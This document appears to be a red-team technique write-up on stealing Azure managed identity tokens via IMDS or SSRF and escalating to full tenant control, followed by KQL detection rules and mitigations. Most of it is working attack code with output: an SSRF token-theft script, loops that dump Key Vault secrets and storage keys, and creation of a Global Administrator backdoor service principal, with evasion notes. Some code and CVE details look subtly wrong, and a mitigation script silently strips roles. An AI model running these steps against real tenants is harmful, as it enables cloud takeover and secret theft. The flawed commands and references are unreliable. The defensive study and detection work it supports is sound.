| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-011 |
| MITRE ATT&CK v18.1 | T1078.004 - Valid Accounts: Cloud Accounts |
| Tactic | Privilege Escalation |
| Platforms | Entra ID |
| Severity | Critical |
| CVE | CVE-2023-28432, CVE-2024-38124, CVE-2025-24054 (related IMDS/SSRF vulnerabilities) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Azure subscriptions, all Azure resource types with managed identities (VMs, Functions, Logic Apps, Automation, AKS, etc.) |
| Patched In | N/A (Architectural design; mitigated via IMDS hardening and endpoint protections) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Managed Identities (formerly called Managed Service Identities or MSI) are cloud-native identities assigned to Azure resources (VMs, Function Apps, Logic Apps, AKS nodes, etc.) to enable those resources to authenticate to other Azure services without managing explicit credentials. When a resource with a managed identity makes an API request to Azure services, it first requests an OAuth2 access token from the Azure Instance Metadata Service (IMDS) at the well-known endpoint http://169.254.169.254/metadata/identity/oauth2/token. An attacker who gains command execution or access to a resource with an assigned managed identity can query this IMDS endpoint to steal the identity’s access token, then use the token to authenticate as the managed identity and access all Azure resources within the identity’s assigned scope. If the managed identity has been assigned high-privilege roles (Owner, Contributor, User Access Administrator) at the subscription or management group level—a common misconfiguration—the attacker can escalate their privileges from limited access to complete infrastructure compromise, including the ability to create backdoors, modify RBAC, access Key Vaults, or pivot to Entra ID Global Admin status.
Attack Surface: Azure Instance Metadata Service (IMDS) endpoint (169.254.169.254:80), managed identity token cache, Azure resource configuration (VMs, Functions, Automation Accounts), Web application vulnerabilities (SSRF, RCE) on resources with managed identities.
Business Impact: Complete compromise of Azure subscriptions and potentially Entra ID tenant. A stolen managed identity token grants the attacker all permissions assigned to that identity. If the identity has Owner role on a subscription, the attacker can: delete all resources, extract all secrets from Key Vaults, modify RBAC to create permanent backdoors, access databases and storage accounts, deploy malware via automation runbooks, or escalate to Entra ID Global Administrator by leveraging cross-tenant service principals.
Technical Context: Managed identity token theft occurs with minimal logging (IMDS requests are not logged by default). A single stolen token from an overprivileged managed identity can compromise an entire subscription. Exploitation can occur within seconds of gaining access to a resource. The attack is reversible (disabling the managed identity), but by then secondary backdoor credentials are typically established.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.2.5 | Ensure that privileged identities are subject to MFA (not applicable to MSI, but applies to humans using stolen tokens) |
| DISA STIG | AC-2(1) | Account Management – Enforce privileged access management for all identities |
| CISA SCuBA | IA-2.2 | Require multi-factor authentication for authenticating any individual to an information system or device |
| NIST 800-53 | AC-3 | Access Enforcement – Enforce approved authorizations |
| GDPR | Art. 32(1)(a) | Implement appropriate technical measures for data security |
| DORA | Art. 9 | Protection and Prevention of ICT incidents |
| NIS2 | Art. 21(1)(a) | Risk Management for cyber security |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | Risk Scenario | Unauthorized access to cloud resources via identity theft |
Supported Versions:
Required Tools:
curl, Invoke-WebRequest (PowerShell), base64, jq# Connect to Azure
Connect-AzAccount
# List all system-assigned managed identities (via VMs, Functions, etc.)
Get-AzVM | Where-Object { $_.Identity } | Select-Object -Property Name, Identity
# List all user-assigned managed identities
Get-AzUserAssignedIdentity | Select-Object -Property Name, Id, PrincipalId
# For each managed identity, check assigned RBAC roles
$identities = Get-AzUserAssignedIdentity
foreach ($identity in $identities) {
Write-Host "Identity: $($identity.Name)"
Get-AzRoleAssignment -ObjectId $identity.PrincipalId | Select-Object -Property RoleDefinitionName, Scope
}
What to Look For:
# Find all VMs with managed identities
Get-AzVM | Where-Object { $_.Identity -ne $null } | Select-Object -Property Name, ResourceGroupName, @{Name='IdentityType'; Expression={$_.Identity.Type}}
# Find all Function Apps with managed identities
Get-AzFunctionApp | Where-Object { $_.Identity } | Select-Object -Property Name, @{Name='ManagedIdentity'; Expression={$_.Identity.PrincipalId}}
# Find all Logic Apps with managed identities
Get-AzLogicApp | Where-Object { $_.Identity } | Select-Object -Property Name, @{Name='IdentityType'; Expression={$_.Identity.Type}}
# Find all Automation Accounts with managed identities
Get-AzAutomationAccount | Where-Object { $_.Identity } | Select-Object -Property Name, @{Name='IdentityId'; Expression={$_.Identity.PrincipalId}}
What to Look For:
# This command should be executed FROM an Azure resource (VM, Function App, etc.)
# It queries the IMDS endpoint to retrieve the managed identity's access token
$token = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" `
-Headers @{Metadata="true"} `
-UseBasicParsing | ConvertFrom-Json
Write-Host "Managed Identity Token Retrieved:"
Write-Host "Access Token: $($token.access_token.Substring(0,50))..." # Display first 50 chars only
Write-Host "Token Type: $($token.token_type)"
Write-Host "Expires In: $($token.expires_in) seconds"
What to Look For:
# Query IMDS to get the managed identity's access token
TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" | jq -r '.access_token')
# Use the token to authenticate to Azure CLI
az login --use-device-code --allow-no-subscriptions
# Alternatively, set the token as environment variable
export AZURE_ACCESS_TOKEN=$TOKEN
# List resources accessible to this managed identity
az resource list --output table
What to Look For:
# Get subscription information
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" | jq '.access_token' | \
base64 -d | jq '.' | grep -E "sub|tid|scp"
# Expected output shows:
# sub: object ID of the managed identity
# tid: tenant ID
# scp: scopes/permissions (e.g., "Reader.ReadWrite.All" or full wildcard "*")
What to Look For:
Supported Versions: All Azure resources with managed identities
Objective: Gain shell access or code execution capability on a resource with a managed identity.
Execution Scenarios:
Objective: Retrieve the managed identity’s OAuth2 access token from IMDS.
Command (PowerShell):
# Retrieve the access token for the managed identity
$token = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" `
-Headers @{Metadata="true"} `
-UseBasicParsing | ConvertFrom-Json
$accessToken = $token.access_token
Write-Host "Access Token Retrieved: $($accessToken.Substring(0,50))..."
# Decode the JWT to inspect claims
$jwtParts = $accessToken.Split('.')
$payloadJson = [System.Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($jwtParts[1] + '=='))
$payload = $payloadJson | ConvertFrom-Json
Write-Host "Token Claims:"
Write-Host " Subject (sub): $($payload.sub)"
Write-Host " Tenant ID (tid): $($payload.tid)"
Write-Host " Scopes (scp): $($payload.scp)"
Expected Output:
Access Token Retrieved: eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1Njc4OTAiLCJ0eXAiOiJKV1QifQ...
Token Claims:
Subject (sub): 11111111-1111-1111-1111-111111111111
Tenant ID (tid): 22222222-2222-2222-2222-222222222222
Scopes (scp): Reader Contributor User.ReadWrite.All
What This Means:
OpSec & Evasion:
Troubleshooting:
The request could not be performed because the Metadata Service is unavailable
Missing or invalid Metadata header
-Headers @{Metadata="true"}Objective: Use the stolen token to authenticate to Azure and execute operations as the managed identity.
Command (PowerShell):
# Create an Azure credential object from the access token
$credential = [Microsoft.Azure.Commands.Common.Authentication.AzureCredential]::new()
$credential.CopyFrom([Microsoft.Azure.Commands.Common.Authentication.AzureCredential]::new())
# Alternative: Connect using the access token directly
Connect-AzAccount -AccessToken $accessToken -AccountId $payload.sub -Tenant $payload.tid
# Verify connection
Get-AzContext
# Expected output shows the managed identity is connected
Expected Output:
Name Subscription Tenant Environment
---- ---- ------ -----------
<identity-object-id> <subscription-id> <tenant-id> AzureCloud
What This Means:
Objective: Use the stolen identity to access all Azure resources within its scope.
Command (PowerShell):
# List all accessible resources
Get-AzResource | Select-Object -Property Name, ResourceType, ResourceGroupName
# List Key Vaults accessible to this identity
Get-AzKeyVault | Select-Object -Property VaultName, ResourceGroupName
# If the identity has Key Vault access, dump all secrets
foreach ($vault in Get-AzKeyVault) {
Write-Host "Dumping secrets from $($vault.VaultName):"
Get-AzKeyVaultSecret -VaultName $vault.VaultName -WarningAction SilentlyContinue | ForEach-Object {
$secret = Get-AzKeyVaultSecret -VaultName $vault.VaultName -Name $_.Name
Write-Host " Secret: $($_.Name) = $($secret.SecretValue | ConvertFrom-SecureString -AsPlainText)"
}
}
# List storage accounts and access blobs/tables
Get-AzStorageAccount | ForEach-Object {
Write-Host "Storage Account: $($_.StorageAccountName)"
$keys = Get-AzStorageAccountKey -ResourceGroupName $_.ResourceGroupName -Name $_.StorageAccountName
Write-Host " Storage Key: $($keys[0].Value)"
}
Expected Output (If Owner Role):
Name ResourceType ResourceGroupName
---- ---- ------------------
MyDatabase Microsoft.Sql/servers/databases MyResourceGroup
MyVirtualMachine Microsoft.Compute/virtualMachines MyResourceGroup
MyKeyVault Microsoft.KeyVault/vaults MyResourceGroup
Dumping secrets from MyKeyVault:
Secret: database-password = P@ssw0rd123!
Secret: api-key = sk-abc123...
Storage Account: mystorageacct
Storage Key: DefaultEndpointsProtocol=https;AccountName=mystorageacct;...
What This Means:
Supported Versions: All web applications hosted on Azure resources with managed identities (Function Apps, App Services, Logic Apps, etc.)
Objective: Find a Server-Side Request Forgery (SSRF) vulnerability in an Azure-hosted web application.
Common Vulnerable Patterns:
/?image=http://...)http://localhost, http://127.0.0.1, http://169.254.169.254)Testing (Example):
Request:
GET /?url=http://example.com/file HTTP/1.1
Response:
[Contents of example.com fetched server-side]
Vulnerability Confirmation:
Request:
GET /?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/ HTTP/1.1
Response (if vulnerable):
{"access_token": "eyJhbGciOiJSUzI1Ni...", "expires_in": 3600, ...}
Objective: Use the SSRF vulnerability to retrieve the managed identity’s access token.
Command (HTTP Request):
GET /?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/ HTTP/1.1
Host: vulnerable-app.azurewebsites.net
# Response will include the access token
{"access_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1Njc4OTAiLCJ0eXAiOiJKV1QifQ...", "expires_in": 3600}
Command (Python):
import requests
import json
# Target application with SSRF vulnerability
target_url = "http://vulnerable-app.azurewebsites.net/?url="
# IMDS endpoint to query
imds_url = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/"
# Exploit SSRF to fetch IMDS
response = requests.get(target_url + imds_url, headers={"Metadata": "true"})
if response.status_code == 200:
token_data = response.json()
access_token = token_data['access_token']
print(f"[+] Token stolen: {access_token[:50]}...")
else:
print(f"[-] Failed: {response.status_code}")
Expected Output:
[+] Token stolen: eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1Njc4OTAiLCJ0eXAiOiJKV1QifQ...
OpSec & Evasion:
Objective: Use the token to access Azure resources and escalate privileges.
Command (curl from external attacker machine):
# Use the stolen token to authenticate to Azure REST API
TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1Njc4OTAiLCJ0eXAiOiJKV1QifQ..."
# List subscriptions accessible to this identity
curl -X GET "https://management.azure.com/subscriptions?api-version=2020-01-01" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json"
# If the identity has Owner role, enumerate all resources
SUBSCRIPTION_ID="12345678-1234-1234-1234-123456789012"
curl -X GET "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resources?api-version=2021-04-01" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json"
# Extract secrets from Key Vault
VAULT_NAME="MyVault"
curl -X GET "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.0" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json"
Expected Output (Resource List):
{
"value": [
{
"id": "/subscriptions/12345678.../resourceGroups/MyGroup/providers/Microsoft.Compute/virtualMachines/MyVM",
"name": "MyVM",
"type": "Microsoft.Compute/virtualMachines"
},
...
]
}
What This Means:
Supported Versions: All Azure environments with Entra ID integration
Objective: Obtain access token from a managed identity that has Owner role on a subscription.
Prerequisites:
Command (PowerShell):
# Retrieve token (from the compromised resource)
$token = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" `
-Headers @{Metadata="true"} `
-UseBasicParsing | ConvertFrom-Json
$accessToken = $token.access_token
# Authenticate as the owner-level managed identity
Connect-AzAccount -AccessToken $accessToken -Tenant (jq -r '.tid' <<< $token)
Objective: Create a service principal that has global admin permissions in Entra ID.
Command (PowerShell - must be executed with Owner-level identity):
# Create an application in Entra ID (requires Application.Create permission)
$app = New-AzADApplication -DisplayName "BackdoorApp" -AvailableToOtherTenants $false
Write-Host "Application Created: $($app.Id)"
# Create a service principal for the application
$sp = New-AzADServicePrincipal -ApplicationId $app.AppId -DisplayName "BackdoorSP"
Write-Host "Service Principal Created: $($sp.Id)"
# Add a credential to the service principal (certificate or password)
$credential = New-AzADServicePrincipalCredential -ObjectId $sp.Id
Write-Host "Credential Created: $($credential.KeyId)"
Write-Host "Credential Secret: $($credential.SecretText)" # Save this for later use
# Assign Global Administrator role to the service principal
# Note: This requires elevated permissions (typically Global Admin or Privileged Role Administrator)
$roleDefinition = Get-AzRoleDefinition -Name "Global Administrator"
New-AzRoleAssignment -ObjectId $sp.Id -RoleDefinitionId $roleDefinition.Id -Scope "/"
Write-Host "Global Administrator role assigned to service principal"
Expected Output:
Application Created: 11111111-1111-1111-1111-111111111111
Service Principal Created: 22222222-2222-2222-2222-222222222222
Credential Created: 33333333-3333-3333-3333-333333333333
Credential Secret: 1a2b3c4d5e6f7g8h9i0j...
Global Administrator role assigned to service principal
What This Means:
OpSec & Evasion:
Objective: Use the backdoor service principal to maintain long-term access to the tenant.
Command (From external attacker machine):
# Install AzureAD module
Install-Module -Name AzureAD -Force
# Authenticate as the backdoor service principal
$credential = New-Object System.Management.Automation.PSCredential(
"11111111-1111-1111-1111-111111111111",
(ConvertTo-SecureString "1a2b3c4d5e6f7g8h9i0j..." -AsPlainText -Force)
)
Connect-AzureAD -Credential $credential -TenantId "22222222-2222-2222-2222-222222222222"
# Verify Global Admin permissions
Get-AzureADDirectoryRole | Where-Object { $_.DisplayName -eq "Global Administrator" }
# Now the attacker has full Entra ID access
# Can enumerate users, modify policies, create additional backdoors, etc.
Get-AzureADUser | Select-Object -Property DisplayName, UserPrincipalName
Expected Output:
ObjectId Name
-------- ----
11111111-1111-1111-1111-111111111111 Global Administrator
DisplayName UserPrincipalName
----------- -----------------
Admin User admin@company.com
Backup Admin backupadmin@company.com
[Service Principal - Attacker can now impersonate these users]
This technique does not map to Atomic Red Team due to cloud-native token-based nature. Verification can be achieved through:
Official Documentation: Azure PowerShell Managed Identity
Version: 9.0+ (Latest: 11.x)
Key Commands for Managed Identity Exploitation:
Get-AzUserAssignedIdentity # List all UAMI
Get-AzVM | Where-Object { $_.Identity } # Find VMs with MSI
Get-AzRoleAssignment -ObjectId "<IDENTITY_ID>" # Check identity's roles
Connect-AzAccount -AccessToken $token # Authenticate using stolen token
Repository: NetSPI/MicroBurst
Version: Latest (PowerShell module)
Installation:
Import-Module .\MicroBurst.psm1
Key Commands:
Get-AzureAuthToken # Retrieve auth token from IMDS
Invoke-AzureManagedIdentityRoleEnumeration # Enumerate managed identity roles
Find-AzureServicePrincipalPermissions # Find overprivileged service principals
Repository: dirkjanm/ROADtools
Installation:
pip3 install roadtools
Key Commands:
roadrecon auth -u "<user@domain.com>" -p "<password>" # Authenticate
roadrecon gather # Gather Entra ID data
roadrecon query --filter "servicePrincipals" # Find service principals
Rule Configuration:
KQL Query:
// Detect unusual IMDS access patterns or token requests
let IMDSRequests = AzureActivity
| where tostring(parse_json(tostring(json_parse(tostring(Properties)))).requests[0].requestUri) contains "169.254.169.254"
or tostring(parse_json(tostring(json_parse(tostring(Properties)))).requests[0].requestUri) contains "/metadata/identity/oauth2/token"
| where TimeGenerated > ago(24h);
let SuspiciousPatterns = IMDSRequests
| where CallerIpAddress !in ("127.0.0.1", "169.254.169.254") // IMDS should only be accessed from localhost or metadata service
| where OperationName !in ("List", "Get") // Normal operations
| summarize Count = count(), Callers = make_set(CallerIpAddress) by TimeGenerated, ResourceType
| where Count >= 5; // Alert if more than 5 suspicious IMDS requests
SuspiciousPatterns
What This Detects:
Rule Configuration:
KQL Query:
// Detect when a managed identity makes API calls it normally doesn't make
let ManagedIdentityTokens = AzureActivity
| where Identity contains "msi" or Caller contains "msi"
| distinct Identity, ResourceType;
let UnusualOperations = AzureActivity
| where Identity in (ManagedIdentityTokens)
and (OperationName == "Create role assignment"
or OperationName == "Delete role definition"
or OperationName == "Create service principal"
or OperationName == "Update application")
| summarize Count = count(), Operations = make_set(OperationName) by Identity, TimeGenerated
| where Count >= 1; // Alert on any suspicious operation
UnusualOperations
What This Detects:
Rule Configuration:
KQL Query:
// Detect when a service principal is assigned Global Administrator or other privileged Entra ID roles
AuditLogs
| where OperationName == "Add role assignment"
and TargetResources[0].type == "ServicePrincipal"
and (TargetResources has "Global Administrator"
or TargetResources has "Privileged Role Administrator"
or TargetResources has "Application Administrator")
| extend ServicePrincipalName = TargetResources[0].displayName
| extend InitiatedByUser = tostring(InitiatedBy.user.userPrincipalName)
| summarize by TimeGenerated, ServicePrincipalName, InitiatedByUser, TargetResources
What This Detects:
N/A - This is a cloud-native attack with no local Windows event log artifacts. Detection occurs exclusively in Azure Activity Log and Entra ID audit logs.
Alert Name: Suspicious service principal activity detected
Severity: Critical
Description: A service principal made an unusual API request (such as RBAC modification, application creation, or domain manipulation) that is inconsistent with its normal behavior.
Applies To: All Azure subscriptions with Defender for Cloud enabled
Remediation:
Disable-AzureADServicePrincipal -ObjectId <ID>Remove-AzADServicePrincipalCredential -ObjectId <ID># Search for service principal creation
Search-UnifiedAuditLog -Operations "Add service principal", "Add application", "Add role assignment" `
-StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
Select-Object @{n='User';e={$_.UserIds}}, @{n='Operation';e={$_.Operations}}, `
@{n='Timestamp';e={$_.CreationDate}}, @{n='Details';e={$_.AuditData}} |
Export-Csv -Path "C:\Incident\service_principal_changes.csv"
Disable Managed Identity Assignment to Non-Critical Resources: Restrict which resources can have managed identities assigned.
Applies To Versions: All Azure subscriptions
Manual Steps (Azure Policy):
Deny managed identity on non-approved resource types{
"if": {
"allOf": [
{ "field": "type", "notIn": ["Microsoft.Compute/virtualMachines", "Microsoft.Web/sites"] },
{ "field": "identity.type", "exists": true }
]
},
"then": { "effect": "deny" }
}
Validation Command:
# Verify policy is enforced
Get-AzPolicyAssignment | Where-Object { $_.DisplayName -contains "Deny managed identity" }
Restrict IMDS Access to Authorized Endpoints Only: Enable IMDS hardening to prevent token theft.
Applies To Versions: All Azure VMs
Manual Steps (VM Network Security Groups):
Validation Command:
# Verify NSG rules restrict IMDS
Get-AzNetworkSecurityGroup | ForEach-Object {
Get-AzNetworkSecurityRuleConfig -NetworkSecurityGroup $_ |
Where-Object { $_.DestinationAddressPrefix -contains "169.254.169.254" }
}
Require MFA for All Managed Identity Usage: Enforce Conditional Access policies that require MFA when a managed identity accesses sensitive resources.
Applies To Versions: All
Manual Steps (Conditional Access - Entra ID):
Block unmanaged managed identity accessNote: Conditional Access for service principals is limited; the recommendation is to use PIM (Privileged Identity Management) instead.
Implement Least Privilege for Managed Identities: Ensure managed identities have minimal necessary permissions.
Applies To Versions: All
Manual Steps (RBAC Audit):
PowerShell Script to Find Overprivileged MSIs:
# Find all MSIs with Owner or high-privilege roles
Get-AzRoleAssignment | Where-Object {
$_.ObjectType -eq "ServicePrincipal" -and
($_.RoleDefinitionName -eq "Owner" -or $_.RoleDefinitionName -eq "Contributor")
} | ForEach-Object {
Write-Host "Overprivileged MSI: $($_.DisplayName) - $($_.RoleDefinitionName) on $($_.Scope)"
# Remove the high-privilege role
Remove-AzRoleAssignment -ObjectId $_.ObjectId -RoleDefinitionName $_.RoleDefinitionName -Scope $_.Scope -Confirm:$false
}
Enable Managed Identity Token Expiration and Rotation: Force tokens to be short-lived and rotated frequently.
Manual Steps:
Monitor and Audit IMDS Requests: Enable logging for IMDS access to detect token theft.
Manual Steps (Azure Diagnostics):
Restrict Service Principal Creation to Approved Identities: Only certain roles should be able to create service principals.
Manual Steps (Custom RBAC Role):
Command (PowerShell):
# Get the compromised MSI
$msi = Get-AzUserAssignedIdentity -Name "CompromisedMSI"
# Remove all role assignments
Get-AzRoleAssignment -ObjectId $msi.PrincipalId | Remove-AzRoleAssignment
# Remove from all resources it's attached to
Get-AzVM | Where-Object { $_.Identity.UserAssignedIdentities.Keys -contains $msi.Id } | ForEach-Object {
Update-AzVM -ResourceGroupName $_.ResourceGroupName -VM $_
}
Command (PowerShell):
# Export activity log
Get-AzLog -StartTime (Get-Date).AddDays(-30) | Export-Csv -Path "C:\Incident\activity_log_30days.csv"
Command:
# Remove backdoor applications
Get-AzADApplication -DisplayName "BackdoorApp" | Remove-AzADApplication
# Remove backdoor service principals
Get-AzADServicePrincipal -DisplayName "BackdoorSP" | Remove-AzADServicePrincipal
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse | Attacker deploys malicious logic app or finds vulnerable existing one |
| 2 | Privilege Escalation | [PE-VALID-011] | Steal managed identity token via IMDS or SSRF |
| 3 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Permissions Escalation | Escalate to service principal with higher permissions |
| 4 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Create Global Admin service principal for long-term access |
| 5 | Data Exfiltration | [CA-UNSC-007] Azure Key Vault Secret Extraction | Dump all tenant secrets via stolen identity |
| 6 | Impact | Complete tenant compromise | Full control of Azure subscriptions and Entra ID |
This technique directly violates:
Organizations must enforce least privilege, monitor IMDS access, and audit managed identity usage to maintain compliance.